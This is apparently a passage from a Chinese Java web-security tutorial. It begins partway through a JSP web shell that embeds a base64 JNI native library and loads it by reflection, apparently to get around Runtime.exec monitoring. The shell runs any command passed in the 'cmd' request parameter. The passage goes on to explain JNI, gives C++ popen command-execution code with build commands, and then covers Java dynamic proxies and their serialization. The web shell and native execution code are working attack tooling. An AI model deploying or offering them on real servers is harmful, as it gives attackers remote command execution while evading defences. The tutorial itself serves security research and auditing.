AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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0AAAAeAAAAHwAAACAAAAAiAAAAJAAAACUAAAAmAAAAJwAAACAAX0phdmFfY29tX2FuYmFpX3NlY19jbWRfQ29tbWFuZEV4ZWN1dGlvbl9leGVjAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1Vud2luZF9SZXN1bWUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTZhcHBlbmRFUEtjAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVEMUV2AF9fWlN0OXRlcm1pbmF0ZXYAX19fY3hhX2JlZ2luX2NhdGNoAF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AZHlsZF9zdHViX2JpbmRlcgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExFUEtjAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNWNfc3RyRXYAX19fY2xhbmdfY2FsbF90ZXJtaW5hdGUAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMyRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRUMyRXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU185YWxsb2NhdG9ySWNFRUxpMUVMYjFFRUMyRXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkV2AF9fWk5TdDNfXzExN19fY29tcHJlc3NlZF9wYWlySU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVTNV9FNWZpcnN0RXYAX19aTlN0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU0ZGF0YUV2AF9fWk5TdDNfXzFMMTZfX3RvX3Jhd19wb2ludGVySUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTlfX2lzX2xvbmdFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyRXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RFdgBfX1pOS1N0M19fMTIyX19jb21wcmVzc2VkX3BhaXJfZWxlbUlOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFTGkwRUxiMEVFNV9fZ2V0RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0VSUzFfAF9fWk5TdDNfXzFMOWFkZHJlc3NvZklLY0VFUFRfUlMyXwBHQ0NfZXhjZXB0X3RhYmxlMABfX2R5bGRfcHJpdmF0ZQAA";

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        return new File(jniDir, "libcmd.lib");
    }

    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除,低版本JDK又没有java.util.Base64对象,
     * 所以还不如直接反射自动找这两个类,哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    // 需要执行的命令
    String cmd = request.getParameter("cmd");

    // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
    String jniBytes = request.getParameter("jni");

    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }
%>

命令执行代码审计

多搜索

Runtime.exec

ProcessBuilder

ProcessImpl

等关键词,快速找出命令执行点

JNI安全基础

Java语言是基于C语言实现的,Java底层的很多API都是通过JNI(Java Native Interface)来实现的。通过JNI接口C/C++Java可以互相调用(存在跨平台问题)。Java可以通过JNI调用来弥补语言自身的不足(代码安全性、内存操作等)。通过编写native方法我们可以做几乎任何事(比如不使用Java自带的FileInputStreamAPI读文件、不使用forkAndExec执行系统命令等)

定义native方法

Java中如果想要调用native方法那么需要在类中先定义一个native方法。

package com.anbai.sec.cmd;

public class CommandExecution {

    public static native String exec(String cmd);

}

如上示例代码,我们需要使用native关键字定义一个类似于接口的方法

生成类头文件

完整的步骤如下:

  1. cd ./javaweb-sec/javaweb-sec-source/javase/src/main/java/ (换成自己本地的地址)。
  2. vim或编辑器写入./com/anbai/sec/cmd/CommandExecution.java文件(该目录已存了一个注释掉的CommandExecution.java取消掉代码注释就可以用了)。
  3. javac -cp . com/anbai/sec/cmd/CommandExecution.java
  4. javah -d com/anbai/sec/cmd/ -cp . com.anbai.sec.cmd.CommandExecution

注意JDK版本:

JDK10移除了javah,需要改为javac-h参数的方式生产头文件,如果您的JDK版本正好>=10,那么使用如下方式可以同时编译并生成头文件。

javac -cp . com/anbai/sec/cmd/CommandExecution.java -h com/anbai/sec/cmd/

执行上面所述的命令后即可看到在com/anbai/sec/cmd/目录已经生成了CommandExecution.classcom_anbai_sec_cmd_CommandExecution.h了。

com_anbai_sec_cmd_CommandExecution.h:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_anbai_sec_cmd_CommandExecution */

#ifndef _Included_com_anbai_sec_cmd_CommandExecution
#define _Included_com_anbai_sec_cmd_CommandExecution
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     com_anbai_sec_cmd_CommandExecution
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec
  (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

可以使用IDE或者vim完成动态链接库的编写,如果使用MacOS+CLion可能需要把#include <jni.h>改成#include "jni.h",不改也没关系,编译的时候带上库地址就行了。

头文件命名强制性

javah生成的头文件中的函数命名方式是有非常强制性的约束的,如Java_com_anbai_sec_cmd_CommandExecution_execJava_是固定的前缀,而com_anbai_sec_cmd_CommandExecution也就代表着Java的完整包名称:com.anbai.sec.cmd.CommandExecution_exec自然是表示的方法名称了。(JNIEnv *, jclass, jstring)表示分别是JNI环境变量对象java调用的类对象参数入参类型

基础数据类型

需要注意的是Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java。

参考如下类型对照表:

无法复制加载中的内容

jstring转char*:env->GetStringUTFChars(str, &jsCopy)

char*转jstring: env->NewStringUTF("Hello...")

字符串资源释放: env->ReleaseStringUTFChars(javaString, p);

其他知识点参考:jni中java与原生代码通信规则

编写C/C++本地命令执行实现

#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "com_anbai_sec_cmd_CommandExecution.h"

using namespace std;

JNIEXPORT jstring

JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec
        (JNIEnv *env, jclass jclass, jstring str) {

    if (str != NULL) {
        jboolean jsCopy;
        // 将jstring参数转成char指针
        const char *cmd = env->GetStringUTFChars(str, &jsCopy);

        // 使用popen函数执行系统命令
        FILE *fd  = popen(cmd, "r");

        if (fd != NULL) {
            // 返回结果字符串
            string result;

            // 定义字符串数组
            char buf[128];

            // 读取popen函数的执行结果
            while (fgets(buf, sizeof(buf), fd) != NULL) {
                // 拼接读取到的结果到result
                result +=buf;
            }

            // 关闭popen
            pclose(fd);

            // 返回命令执行结果给Java
            return env->NewStringUTF(result.c_str());
        }
    }
    return NULL;
}

首先切换到我们的C目录:cd com/anbai/sec/cmd/然后使用g++命令编译成动态链接库,前提是您需要提前装好编译环境如:gcc/g++

MacOSX编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

Linux编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

Windows编译:

  1. Visual Studio/cl命令编译dll。
  2. 使用min-gw/cygwin安装gcc/g++,如: x86_64-w64-mingw32-g++ -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.cpp

具体可参考:Java Native Interface (JNI) - Java Programming Tutorial

package com.anbai.sec.cmd;

import java.io.File;
import java.lang.reflect.Method;

public class CommandExecutionTest {

    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    public static void main(String[] args) {
        String cmd = "ifconfig";// 定于需要执行的cmd

        try {
            ClassLoader loader = new ClassLoader(CommandExecutionTest.class.getClassLoader()) {
                @Override
                protected Class findClass(String name) throws ClassNotFoundException {
                    try {
                        return super.findClass(name);
                    } catch (ClassNotFoundException e) {
                        return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                    }
                }
            };

            // 测试时候换成自己编译好的lib路径
            File libPath = new File("/Users/yz/IdeaProjects/javaweb-sec/javaweb-sec-source/javase/src/main/java/com/anbai/sec/cmd/libcmd.jnilib");

            // load命令执行类
            Class commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");

            // 可以用System.load也加载lib也可以用反射ClassLoader加载,如果loadLibrary0
            // 也被拦截了可以换java.lang.ClassLoader$NativeLibrary类的load方法。
            // System.load("/Users/yz/IdeaProjects/javaweb-sec/javaweb-sec-source/javase/src/main/java/com/anbai/sec/cmd/libcmd.jnilib/libcmd.jnilib");
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, libPath);

            String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
            System.out.println(content);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Java动态代理

Java反射提供了一种类动态代理机制,可以通过代理接口实现类来完成程序无侵入式扩展。

Java动态代理主要使用场景:

  1. 统计方法执行所耗时间。
  2. 在方法执行前后添加日志。
  3. 检测方法的参数或返回值。
  4. 方法访问权限控制。
  5. 方法Mock测试。

使用java.lang.reflect.Proxy动态创建类对象

ClassLoaderUnsafe都有一个叫做defineClassXXXnative方法,我们可以通过调用这个native方法动态的向JVM创建一个类对象,而java.lang.reflect.Proxy类恰好也有这么一个native方法,所以我们也将可以通过调用java.lang.reflect.ProxydefineClass0方法实现动态创建类对象。

package com.anbai.sec.proxy;

import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;

public class ProxyDefineClassTest {

    public static void main(String[] args) {
        // 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

        try {
            // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
            Method method = Proxy.class.getDeclaredMethod("defineClass0", new Class[]{
                    ClassLoader.class, String.class, byte[].class, int.class, int.class
            });

            // 修改方法的访问权限
            method.setAccessible(true);

            // 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册
            // com.anbai.sec.classloader.TestHelloWorld类对象
            Class helloWorldClass = (Class) method.invoke(null, new Object[]{
                    classLoader, TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length
            });

            // 输出TestHelloWorld类对象
            System.out.println(helloWorldClass);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

动态代理类生成的$ProxyXXX类代码分析

java.lang.reflect.Proxy类是通过创建一个新的Java类(类名为com.sun.proxy.$ProxyXXX)的方式来实现无侵入的类方法代理功能的。

动态代理生成出来的类有如下技术细节和特性:

  1. 动态代理的必须是接口类,通过动态生成一个接口实现类来代理接口的方法调用(反射机制)。
  2. 动态代理类会由java.lang.reflect.Proxy.ProxyClassFactory创建。
  3. ProxyClassFactory会调用sun.misc.ProxyGenerator类生成该类的字节码,并调用java.lang.reflect.Proxy.defineClass0()方法将该类注册到JVM
  4. 该类继承于java.lang.reflect.Proxy并实现了需要被代理的接口类,因为java.lang.reflect.Proxy类实现了java.io.Serializable接口,所以被代理的类支持序列化/反序列化
  5. 该类实现了代理接口类(示例中的接口类是com.anbai.sec.proxy.FileSystem),会通过ProxyGenerator动态生成接口类(FileSystem)的所有方法,
  6. 该类因为实现了代理的接口类,所以当前类是代理的接口类的实例(proxyInstance instanceof FileSystemtrue),但不是代理接口类的实现类的实例(proxyInstance instanceof UnixFileSystemfalse)。
  7. 该类方法中包含了被代理的接口类的所有方法,通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果。
  8. 该类代理的方式重写了java.lang.Object类的toStringhashCodeequals方法。
  9. 如果通过动态代理生成了多个动态代理类,新生成的类名中的0会自增,如com.sun.proxy.$Proxy0/$Proxy1/$Proxy2

动态代理生成的com.sun.proxy.$Proxy0类代码:

package com.sun.proxy.$Proxy0;

import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;

public final class $Proxy0 extends Proxy implements FileSystem {

    private static Method m1;

  // 实现的FileSystem接口方法,如果FileSystem里面有多个方法那么在这个类中将从m3开始n个成员变量
    private static Method m3;

    private static Method m0;

    private static Method m2;

    public $Proxy0(InvocationHandler var1) {
        super(var1);
    }

    public final boolean equals(Object var1) {
        try {
            return (Boolean) super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final String[] list(File var1) {
        try {
            return (String[]) super.h.invoke(this, m3, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final int hashCode() {
        try {
            return (Integer) super.h.invoke(this, m0, (Object[]) null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final String toString() {
        try {
            return (String) super.h.invoke(this, m2, (Object[]) null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m3 = Class.forName("com.anbai.sec.proxy.FileSystem").getMethod("list", Class.forName("java.io.File"));
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

动态代理类实例序列化问题

动态代理类符合Java对象序列化条件,并且在序列化/反序列化时会被ObjectInputStream/ObjectOutputStream特殊处理。

动态代理生成的类在反序列化/反序列化时不会序列化该类的成员变量,并且serialVersionUID0L ,也将是说将该类的Class对象传递给java.io.ObjectStreamClass的静态lookup方法时,返回的ObjectStreamClass实例将具有以下特性:

  1. 调用其getSerialVersionUID方法将返回0L
  2. 调用其getFields方法将返回长度为零的数组。
  3. 调用其getField方法将返回null

但其父类(java.lang.reflect.Proxy)在序列化时不受影响,父类中的h变量(InvocationHandler)将会被序列化,这个h存储了动态代理类的处理类实例以及动态代理的接口类的实现类的实例。

动态代理生成的对象(com.sun.proxy.$ProxyXXX)序列化的时候会使用一个特殊的协议:TC_PROXYCLASSDESC(0x7D),这个常量在java.io.ObjectStreamConstants中定义的。在反序列化时也不会调用java.io.ObjectInputStream类的resolveClass方法而是调用resolveProxyClass方法来转换成类对象的。

Java序列化/反序列化漏洞

